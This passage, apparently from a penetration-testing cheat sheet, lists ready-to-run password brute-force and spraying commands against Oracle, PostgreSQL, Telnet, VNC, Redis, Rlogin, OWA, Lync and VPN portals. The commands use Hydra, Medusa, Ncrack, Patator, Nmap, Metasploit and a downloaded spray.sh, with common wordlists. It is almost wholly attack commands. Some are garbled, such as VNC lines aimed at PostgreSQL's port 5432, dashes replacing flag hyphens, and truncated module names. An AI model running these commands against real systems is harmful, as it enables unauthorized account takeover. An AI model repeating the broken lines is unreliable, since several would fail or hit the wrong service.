## ------------------| Using Nmapsudo nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>### Offline hash brute (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):sudo nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 1<IP>
## ------------------| Using Patatorpip3 install cx_Oracle --upgradepatator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017.
## ------------------| Using ODAT (Oracle Database Attacking Tool)./odat.py passwordguesser -s <IP> -d <SID>./odat.py passwordguesser -s <IP> -p <PORT> --accounts-file accounts_multiple.txt
## ------------------| Using Metasploituse admin/oracle/oracle_login## oruse scanner/oracle/oracle_loginset RHOSTS <IP>set RPORTS 1521set SID <SID>04.15 PostgreSQL
bash17 lines
## ------------------| Using Hydrahydra -u -f -L usernames.txt –P /usr/share/wordlists/rockyou.txt <IP> postgres
## ------------------| Using Medusamedusa -h <IP> –U usernames.txt –P /usr/share/wordlists/rockyou.txt –M postgres
## ------------------| Using Ncrackncrack –v –U usernames.txt –P /usr/share/wordlists/rockyou.txt <IP>:5432
## ------------------| Using Patatorpatator pgsql_login host=<IP> user=FILE0 0=usernames.txt password=FILE1 1=/usr/share/wordlists/rockyou.txt
## ------------------| Using Metasploituse auxiliary/scanner/postgres/postgres_login
## ------------------| Using Nmapnmap -sV --script pgsql-brute --script-args userdb=usernames.txt,passdb=/usr/share/wordlists/rockyou.txt -p 5432 <IP>04.16 Telnet
bash8 lines
## ------------------| Using Hydrahydra -u -f -l <USER> -P /usr/share/wordlists/rockyou.txt telnet://targetname
## ------------------| Using Ncrackncrack -p 23 --user root -P /usr/share/wordlists/rockyou.txt <IP> [-T 5]
## ------------------| Using Medusamedusa -u root -P /usr/share/wordlists/rockyou.txt -h <IP> -M telnet04.17 VNC
bash17 lines
## ------------------| Using Hydrahydra -u -f -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt –P /usr/share/wordlists/rockyou.txt -s <PORT> <IP> vnc -u -vV
## ------------------| Using Medusamedusa -h <IP> –u root -P /usr/share/wordlists/rockyou.txt –M vnc
## ------------------| Using Ncrackncrack -V --user root -P /usr/share/wordlists/rockyou.txt <IP>:5432
## ------------------| Using Patatorpatator vnc_login host=<IP> password=FILE0 0=/usr/share/wordlists/rockyou.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
## ------------------| Using Metasploituse auxiliary/scanner/vnc/vnc_login
## ------------------| Using Nmapnmap -sV --script pgsql-brute --script-args userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/wordlists/rockyou.txt -p 5432 <IP>04.18 IRC
bash1 line
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=usernames.txt,passdb=/usr/share/wordlists/rockyou.txt -p <PORT> <IP>04.19 ISCSI
bash1 line
nmap -sV --script iscsi-brute --script-args userdb=usernames.txt,passdb=/usr/share/wordlists/rockyou.txt -p 3260 <IP>04.20 PPTP
bash1 line
cat /usr/share/wordlists/rockyou.txt | thc-pptp-bruter –u <USER> <IP>04.21 Redis
bash8 lines
## ------------------| Using Nmapnmap --script redis-brute -p 6379 <IP>
## ------------------| Using Hydrahydra -u -f –P /usr/share/wordlists/rockyou.txt <IP> redis
## ------------------| Using MSFuse auxiliary/scanner/redis/redis_logi04.22 Rexec
bash1 line
hydra -u -f -l -v -V <USER> -P /usr/share/wordlists/rockyou.txt rexec://<Victim-IP>04.23 Rlogin
bash1 line
hydra -v -V -u -f -l <USER> -P /usr/share/wordlists/rockyou.txt rlogin://<Victim-IP>04.24 OWA
bash16 lines
## ------------------| Create Usernames List (the default is {f}{last})python3 spindrift.py users.txt --target <IP> > newuserlist.txtpython3 spindrift.py users.txt --format "{f}.{last}" --target <IP> >> newuserlist.txtpython3 spindrift.py users.txt --format "{first}.{last}" --target <IP> >> newuserlist.txtspython3 spindrift.py users.txt --format "{first}.{l}" --target <IP> >> newuserlist.txtpython3 spindrift.py users.txt --format "{first}{last}" --target <IP> >> newuserlist.txtpython3 spindrift.py users.txt --format "{first}{l}" --target <IP> >> newuserlist.txt
## ------------------| Bruteforcepython3 atomizer.py owa 10.10.10.210 'Passw0rd' newuserlist.txt --interval 0:00:01python3 atomizer.py owa 10.10.10.210 /usr/share/seclists/Passwords/probable-v2-top207.txt newuserlist.txt --interval 0:00:01
## ------------------| Using Spray.shwget https://raw.githubusercontent.com/Greenwolf/Spray/master/spray.shchmod +x spray.sh./spray.sh -owa <IP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <RequestsFile>04.25 Lync
bash3 lines
wget https://raw.githubusercontent.com/Greenwolf/Spray/master/spray.shchmod +x spray.sh./spray.sh -lync <IP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>04.26 CISCO Web VPN
bash3 lines
wget https://raw.githubusercontent.com/Greenwolf/Spray/master/spray.shchmod +x spray.sh./spray.sh -cisco <URL> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>04.27 OpenVPN Web Portal
bash3 lines
wget https://raw.githubusercontent.com/Greenwolf/Spray/master/spray.shchmod +x spray.sh./spray.sh -ovpn <IP> <PORT> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>